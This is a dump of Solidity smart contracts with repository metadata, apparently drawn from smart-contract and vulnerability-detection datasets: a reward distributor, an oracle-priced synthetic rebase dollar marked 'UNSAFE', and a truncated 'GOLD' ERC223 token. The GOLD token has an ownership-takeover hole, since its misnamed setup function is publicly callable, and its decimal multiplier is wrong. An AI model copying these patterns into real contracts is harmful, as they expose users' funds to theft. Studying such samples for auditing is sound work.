uint256 public totalInvested;
/// @notice state of the registry
State public m_state = State.GATHERING;
/// @dev balances of investors in wei
mapping(address => uint256) public m_weiBalances;
/// @dev list of unique investors
address[] public m_investors;
}
| 198,940 | 10,660 |
33895b90182dc7359036e718b6ccb360ba4799779a994d09a0d30fb902b5656d
| 18,083 |
.sol
|
Solidity
| false |
454032456
|
tintinweb/smart-contract-sanctuary-avalanche
|
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
|
contracts/mainnet/79/79323fc5bc5f3c493ba4bcf7d15d86c017c2faad_Distributor.sol
| 3,975 | 15,701 |
// SPDX-License-Identifier: AGPL-3.0-or-later
pragma solidity 0.7.5;
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender)
.sub(value, "SafeERC20: decreased allowance below zero");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function _callOptionalReturn(IERC20 token, bytes memory data) private {
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function add32(uint32 a, uint32 b) internal pure returns (uint32) {
uint32 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
function sqrrt(uint256 a) internal pure returns (uint c) {
if (a > 3) {
c = a;
uint b = add(div(a, 2), 1);
while (b < c) {
c = b;
b = div(add(div(a, b), b), 2);
}
} else if (a != 0) {
c = 1;
}
}
function percentageAmount(uint256 total_, uint8 percentage_) internal pure returns (uint256 percentAmount_) {
return div(mul(total_, percentage_), 1000);
}
function substractPercentage(uint256 total_, uint8 percentageToSub_) internal pure returns (uint256 result_) {
return sub(total_, div(mul(total_, percentageToSub_), 1000));
}
function percentageOfTotal(uint256 part_, uint256 total_) internal pure returns (uint256 percent_) {
return div(mul(part_, 100) , total_);
}
function average(uint256 a, uint256 b) internal pure returns (uint256) {
// (a + b) / 2 can overflow, so we distribute
return (a / 2) + (b / 2) + ((a % 2 + b % 2) / 2);
}
function quadraticPricing(uint256 payment_, uint256 multiplier_) internal pure returns (uint256) {
return sqrrt(mul(multiplier_, payment_));
}
function bondingCurve(uint256 supply_, uint256 multiplier_) internal pure returns (uint256) {
return mul(multiplier_, supply_);
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library Address {
function isContract(address account) internal view returns (bool) {
// This method relies in extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target,
bytes memory data,
string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target,
bytes memory data,
uint256 value,
string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _functionCallWithValue(address target,
bytes memory data,
uint256 weiValue,
string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
function functionStaticCall(address target,
bytes memory data,
string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
function functionDelegateCall(address target,
bytes memory data,
string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success,
bytes memory returndata,
string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
if (returndata.length > 0) {
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
function addressToString(address _address) internal pure returns(string memory) {
bytes32 _bytes = bytes32(uint256(_address));
bytes memory HEX = "0123456789abcdef";
bytes memory _addr = new bytes(42);
_addr[0] = '0';
_addr[1] = 'x';
for(uint256 i = 0; i < 20; i++) {
_addr[2+i*2] = HEX[uint8(_bytes[i + 12] >> 4)];
_addr[3+i*2] = HEX[uint8(_bytes[i + 12] & 0x0f)];
}
return string(_addr);
}
}
interface IPolicy {
function policy() external view returns (address);
function renouncePolicy() external;
function pushPolicy(address newPolicy_) external;
function pullPolicy() external;
}
contract Policy is IPolicy {
address internal _policy;
address internal _newPolicy;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
_policy = msg.sender;
emit OwnershipTransferred(address(0), _policy);
}
function policy() public view override returns (address) {
return _policy;
}
modifier onlyPolicy() {
require(_policy == msg.sender, "Ownable: caller is not the owner");
_;
}
function renouncePolicy() public virtual override onlyPolicy() {
emit OwnershipTransferred(_policy, address(0));
_policy = address(0);
}
function pushPolicy(address newPolicy_) public virtual override onlyPolicy() {
require(newPolicy_ != address(0), "Ownable: new owner is the zero address");
_newPolicy = newPolicy_;
}
function pullPolicy() public virtual override {
require(msg.sender == _newPolicy);
emit OwnershipTransferred(_policy, _newPolicy);
_policy = _newPolicy;
}
}
interface ITreasury {
function mintRewards(address _recipient, uint _amount) external;
}
contract Distributor is Policy {
using SafeMath for uint;
using SafeMath for uint32;
using SafeERC20 for IERC20;
address public immutable BOB;
address public immutable treasury;
uint32 public immutable epochLength;
uint32 public nextEpochTime;
mapping(uint => Adjust) public adjustments;
struct Info {
uint rate; // in ten-thousandths (5000 = 0.5%)
address recipient;
}
Info[] public info;
struct Adjust {
bool add;
uint rate;
uint target;
}
constructor(address _treasury, address _BOB, uint32 _epochLength, uint32 _nextEpochTime) {
require(_treasury != address(0));
treasury = _treasury;
require(_BOB != address(0));
BOB = _BOB;
epochLength = _epochLength;
nextEpochTime = _nextEpochTime;
}
function distribute() external returns (bool) {
if (nextEpochTime <= uint32(block.timestamp)) {
nextEpochTime = nextEpochTime.add32(epochLength); // set next epoch time
// distribute rewards to each recipient
for (uint i = 0; i < info.length; i++) {
if (info[ i ].rate > 0) {
ITreasury(treasury).mintRewards(// mint and send from treasury
info[ i ].recipient,
nextRewardAt(info[ i ].rate));
adjust(i); // check for adjustment
}
}
return true;
} else {
return false;
}
}
function adjust(uint _index) internal {
Adjust memory adjustment = adjustments[ _index ];
if (adjustment.rate != 0) {
if (adjustment.add) { // if rate should increase
info[ _index ].rate = info[ _index ].rate.add(adjustment.rate); // raise rate
if (info[ _index ].rate >= adjustment.target) { // if target met
adjustments[ _index ].rate = 0; // turn off adjustment
}
} else { // if rate should decrease
info[ _index ].rate = info[ _index ].rate.sub(adjustment.rate); // lower rate
if (info[ _index ].rate <= adjustment.target) { // if target met
adjustments[ _index ].rate = 0; // turn off adjustment
}
}
}
}
function nextRewardAt(uint _rate) public view returns (uint) {
return IERC20(BOB).totalSupply().mul(_rate).div(1000000);
}
function nextRewardFor(address _recipient) public view returns (uint) {
uint reward;
for (uint i = 0; i < info.length; i++) {
if (info[ i ].recipient == _recipient) {
reward = nextRewardAt(info[ i ].rate);
}
}
return reward;
}
function addRecipient(address _recipient, uint _rewardRate) external onlyPolicy() {
require(_recipient != address(0));
info.push(Info({
recipient: _recipient,
rate: _rewardRate
}));
}
function removeRecipient(uint _index, address _recipient) external onlyPolicy() {
require(_recipient == info[ _index ].recipient);
info[ _index ].recipient = address(0);
info[ _index ].rate = 0;
}
function setAdjustment(uint _index, bool _add, uint _rate, uint _target) external onlyPolicy() {
adjustments[ _index ] = Adjust({
add: _add,
rate: _rate,
target: _target
});
}
}
| 87,887 | 10,661 |
7231fa24c659e99f127ab837689806e5f33a19bd95249d675794ca21039ee28d
| 12,329 |
.sol
|
Solidity
| false |
281870469
|
yearn/audit
|
e3d76c568dad06d27c71d596e529f4764a36cb76
|
contracts/wip/SyntheticRebase.sol
| 3,159 | 12,268 |
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns (uint);
function balanceOf(address account) external view returns (uint);
function transfer(address recipient, uint amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint amount) external returns (bool);
function transferFrom(address sender, address recipient, uint amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor (string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns (uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns (uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns (uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns (uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns (uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns (uint) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance");
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
interface Oracle {
function getPriceUSD(address reserve) external view returns (uint);
}
contract SyntheticRebaseDollar is ERC20Detailed {
using SafeERC20 for IERC20;
using Address for address;
using SafeMath for uint;
// Oracle used for price debt data (external to the AMM balance to avoid internal manipulation)
Oracle public constant LINK = Oracle(0x271bf4568fb737cc2e6277e9B1EE0034098cDA2a);
mapping (address => uint) public userCredit;
// user => token => credit
mapping (address => mapping(address => uint)) public credit;
// user => token => balance
mapping (address => mapping(address => uint)) public balances;
// user => address[] markets (credit markets supplied to)
mapping (address => address[]) public markets;
address[] public market;
mapping (address => bool) public exists;
uint public constant BASE = 10000;
constructor () public ERC20Detailed("Fantom USD", "fUSD", 8) {}
function factor() public view returns (uint) {
uint _collateral = 0;
for (uint i = 0; i < market.length; i++) {
uint _value = IERC20(market[i]).balanceOf(address(this));
_collateral = _collateral.add(LINK.getPriceUSD(market[i]).mul(_value).div(uint256(10)**ERC20Detailed(market[i]).decimals()));
}
if (_collateral > 0) {
return _totalSupply.mul(BASE).div(_collateral);
}
return BASE;
}
function depositAll(address token) external {
deposit(token, IERC20(token).balanceOf(msg.sender));
}
function deposit(address token, uint amount) public {
_deposit(token, amount);
}
function getCredit(address owner, address token) public view returns (uint) {
return credit[owner][token].mul(factor()).div(BASE);
}
function _getCredit(address owner, address token, uint _factor) internal view returns (uint) {
return credit[owner][token].mul(_factor).div(BASE);
}
function getUserCredit(address owner) public view returns (uint) {
return userCredit[owner].mul(factor()).div(BASE);
}
function _getUserCredit(address owner, uint _factor) internal view returns (uint) {
return userCredit[owner].mul(_factor).div(BASE);
}
function _deposit(address token, uint amount) internal {
uint _value = LINK.getPriceUSD(token).mul(amount).div(uint256(10)**ERC20Detailed(token).decimals());
require(_value > 0, "!value");
IERC20(token).safeTransferFrom(msg.sender, address(this), amount);
// Assign collateral to the user
balances[msg.sender][token] = balances[msg.sender][token].add(amount);
credit[msg.sender][token] = credit[msg.sender][token].add(_value);
userCredit[msg.sender] = userCredit[msg.sender].add(_value);
_mint(msg.sender, _value);
markets[msg.sender].push(token);
if (!exists[token]) {
market.push(token);
exists[token] = true;
}
}
function withdrawAll(address token) external {
_withdraw(token, IERC20(this).balanceOf(msg.sender));
}
function withdraw(address token, uint amount) external {
_withdraw(token, amount);
}
// UNSAFE: No slippage protection, should not be called directly
function _withdraw(address token, uint amount) internal {
uint _factor = factor(); // call once to minimize sub calls in getCredit and getUserCredit
uint _credit = _getCredit(msg.sender, token, _factor);
uint _token = balances[msg.sender][token];
if (_credit < amount) {
amount = _credit;
}
_burn(msg.sender, amount, _factor);
credit[msg.sender][token] = _getCredit(msg.sender, token, _factor).sub(amount);
userCredit[msg.sender] = _getUserCredit(msg.sender, _factor).sub(amount);
// Calculate % of collateral to release
_token = _token.mul(amount).div(_credit);
IERC20(token).safeTransfer(msg.sender, _token);
balances[msg.sender][token] = balances[msg.sender][token].sub(_token);
}
function getMarkets(address owner) external view returns (address[] memory) {
return markets[owner];
}
function adjusted(uint amount) external view returns (uint) {
return amount = amount.mul(BASE).div(factor());
}
mapping (address => uint) private _balances;
mapping (address => mapping (address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns (uint) {
return _totalSupply.mul(factor()).div(BASE);
}
function totalSupplyBase() public view returns (uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns (uint) {
return _balances[account].mul(factor()).div(BASE);
}
function balanceOfBase(address account) public view returns (uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns (bool) {
_transfer(msg.sender, recipient, amount.mul(BASE).div(factor()), amount);
return true;
}
function allowance(address owner, address spender) public view returns (uint) {
return _allowances[owner][spender].mul(factor()).div(BASE);
}
function _allowance(address owner, address spender, uint _factor) internal view returns (uint) {
return _allowances[owner][spender].mul(_factor).div(BASE);
}
function approve(address spender, uint amount) public returns (bool) {
_approve(msg.sender, spender, amount.mul(BASE).div(factor()));
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns (bool) {
uint _factor = factor();
_transfer(sender, recipient, amount.mul(BASE).div(_factor), amount);
_approve(sender, msg.sender, _allowance(sender, msg.sender, _factor).sub(amount.mul(BASE).div(_factor), "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns (bool) {
uint _factor = factor();
_approve(msg.sender, spender, _allowance(msg.sender, spender, _factor).add(addedValue.mul(BASE).div(_factor)));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns (bool) {
uint _factor = factor();
_approve(msg.sender, spender, _allowance(msg.sender, spender, _factor).sub(subtractedValue.mul(BASE).div(_factor), "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount, uint sent) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, sent);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
amount = amount.mul(BASE).div(factor());
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount, uint _factor) internal {
require(account != address(0), "ERC20: burn from the zero address");
amount = amount.mul(BASE).div(_factor);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
| 233,075 | 10,662 |
a4153fa2271262fe3edf5a1d033a66fd718b802485aed86b8ef7dcb086c448b5
| 21,702 |
.sol
|
Solidity
| false |
416581097
|
NoamaSamreen93/SmartScan-Dataset
|
0199a090283626c8f2a5e96786e89fc850bdeabd
|
sorted-evaluation-dataset/0.4/0xdfcbd91c3cf29d0bb5abf17c7f908c0d9c34edf7.sol
| 3,864 | 13,899 |
pragma solidity ^0.4.20;
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
// SafeMath.sub will throw if there is not enough balance.
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) {
totalSupply = totalSupply.add(_amount);
balances[_to] = balances[_to].add(_amount);
Mint(_to, _amount);
Transfer(address(0), _to, _amount);
return true;
}
function finishMinting() onlyOwner canMint public returns (bool) {
mintingFinished = true;
MintFinished();
return true;
}
}
contract FreezableToken is StandardToken {
// freezing chains
mapping (bytes32 => uint64) internal chains;
// freezing amounts for each chain
mapping (bytes32 => uint) internal freezings;
// total freezing balance per address
mapping (address => uint) internal freezingBalance;
event Freezed(address indexed to, uint64 release, uint amount);
event Released(address indexed owner, uint amount);
function balanceOf(address _owner) public view returns (uint256 balance) {
return super.balanceOf(_owner) + freezingBalance[_owner];
}
function actualBalanceOf(address _owner) public view returns (uint256 balance) {
return super.balanceOf(_owner);
}
function freezingBalanceOf(address _owner) public view returns (uint256 balance) {
return freezingBalance[_owner];
}
function freezingCount(address _addr) public view returns (uint count) {
uint64 release = chains[toKey(_addr, 0)];
while (release != 0) {
count ++;
release = chains[toKey(_addr, release)];
}
}
function getFreezing(address _addr, uint _index) public view returns (uint64 _release, uint _balance) {
for (uint i = 0; i < _index + 1; i ++) {
_release = chains[toKey(_addr, _release)];
if (_release == 0) {
return;
}
}
_balance = freezings[toKey(_addr, _release)];
}
function freezeTo(address _to, uint _amount, uint64 _until) public {
require(_to != address(0));
require(_amount <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_amount);
bytes32 currentKey = toKey(_to, _until);
freezings[currentKey] = freezings[currentKey].add(_amount);
freezingBalance[_to] = freezingBalance[_to].add(_amount);
freeze(_to, _until);
Freezed(_to, _until, _amount);
}
function releaseOnce() public {
bytes32 headKey = toKey(msg.sender, 0);
uint64 head = chains[headKey];
require(head != 0);
require(uint64(block.timestamp) > head);
bytes32 currentKey = toKey(msg.sender, head);
uint64 next = chains[currentKey];
uint amount = freezings[currentKey];
delete freezings[currentKey];
balances[msg.sender] = balances[msg.sender].add(amount);
freezingBalance[msg.sender] = freezingBalance[msg.sender].sub(amount);
if (next == 0) {
delete chains[headKey];
}
else {
chains[headKey] = next;
delete chains[currentKey];
}
Released(msg.sender, amount);
}
function releaseAll() public returns (uint tokens) {
uint release;
uint balance;
(release, balance) = getFreezing(msg.sender, 0);
while (release != 0 && block.timestamp > release) {
releaseOnce();
tokens += balance;
(release, balance) = getFreezing(msg.sender, 0);
}
}
function toKey(address _addr, uint _release) internal pure returns (bytes32 result) {
result = 0x5749534800000000000000000000000000000000000000000000000000000000;
assembly {
result := or(result, mul(_addr, 0x10000000000000000))
result := or(result, _release)
}
}
function freeze(address _to, uint64 _until) internal {
require(_until > block.timestamp);
bytes32 key = toKey(_to, _until);
bytes32 parentKey = toKey(_to, uint64(0));
uint64 next = chains[parentKey];
if (next == 0) {
chains[parentKey] = _until;
return;
}
bytes32 nextKey = toKey(_to, next);
uint parent;
while (next != 0 && _until > next) {
parent = next;
parentKey = nextKey;
next = chains[nextKey];
nextKey = toKey(_to, next);
}
if (_until == next) {
return;
}
if (next != 0) {
chains[key] = next;
}
chains[parentKey] = _until;
}
}
contract ERC223Receiver {
function tokenFallback(address _from, uint _value, bytes _data) public;
}
contract ERC223Basic is ERC20Basic {
function transfer(address to, uint value, bytes data) public returns (bool);
event Transfer(address indexed from, address indexed to, uint value, bytes data);
}
contract SuccessfulERC223Receiver is ERC223Receiver {
event Invoked(address from, uint value, bytes data);
function tokenFallback(address _from, uint _value, bytes _data) public {
Invoked(_from, _value, _data);
}
}
contract FailingERC223Receiver is ERC223Receiver {
function tokenFallback(address, uint, bytes) public {
revert();
}
}
contract ERC223ReceiverWithoutTokenFallback {
}
contract BurnableToken is StandardToken {
event Burn(address indexed burner, uint256 value);
function burn(uint256 _value) public {
require(_value > 0);
require(_value <= balances[msg.sender]);
// no need to require value <= totalSupply, since that would imply the
// sender's balance is greater than the totalSupply, which *should* be an assertion failure
address burner = msg.sender;
balances[burner] = balances[burner].sub(_value);
totalSupply = totalSupply.sub(_value);
Burn(burner, _value);
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
function pause() onlyOwner whenNotPaused public {
paused = true;
Pause();
}
function unpause() onlyOwner whenPaused public {
paused = false;
Unpause();
}
}
contract FreezableMintableToken is FreezableToken, MintableToken {
function mintAndFreeze(address _to, uint _amount, uint64 _until) onlyOwner canMint public returns (bool) {
totalSupply = totalSupply.add(_amount);
bytes32 currentKey = toKey(_to, _until);
freezings[currentKey] = freezings[currentKey].add(_amount);
freezingBalance[_to] = freezingBalance[_to].add(_amount);
freeze(_to, _until);
Mint(_to, _amount);
Freezed(_to, _until, _amount);
return true;
}
}
contract Consts {
uint constant TOKEN_DECIMALS = 17;
uint8 constant TOKEN_DECIMALS_UINT8 = 17;
uint constant TOKEN_DECIMAL_MULTIPLIER = 21 ** TOKEN_DECIMALS;
string constant TOKEN_NAME = "GOLD";
string constant TOKEN_SYMBOL = "GOLD";
bool constant PAUSED = false;
address constant TARGET_USER = 0x8f71659fb57E6C6Be3Ab563D0dD45101235ae762;
bool constant CONTINUE_MINTING = false;
}
contract ERC223Token is ERC223Basic, BasicToken, FailingERC223Receiver {
using SafeMath for uint;
function transfer(address _to, uint _value, bytes _data) public returns (bool) {
// Standard function transfer similar to ERC20 transfer with no _data .
// Added due to backwards compatibility reasons .
uint codeLength;
assembly {
// Retrieve the size of the code on target address, this needs assembly.
codeLength := extcodesize(_to)
}
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
if(codeLength > 0) {
ERC223Receiver receiver = ERC223Receiver(_to);
receiver.tokenFallback(msg.sender, _value, _data);
}
Transfer(msg.sender, _to, _value, _data);
return true;
}
function transfer(address _to, uint256 _value) public returns (bool) {
bytes memory empty;
return transfer(_to, _value, empty);
}
}
contract GOLD is Consts, FreezableMintableToken, BurnableToken, Pausable
{
event Initialized();
bool public initialized = false;
function MainToken() public {
init();
transferOwnership(TARGET_USER);
}
function init() private {
require(!initialized);
initialized = true;
if (PAUSED) {
pause();
}
address[1] memory addresses = [address(0x8f71659fb57E6C6Be3Ab563D0dD45101235ae762)];
uint[1] memory amounts = [uint(100000000000000000000000000)];
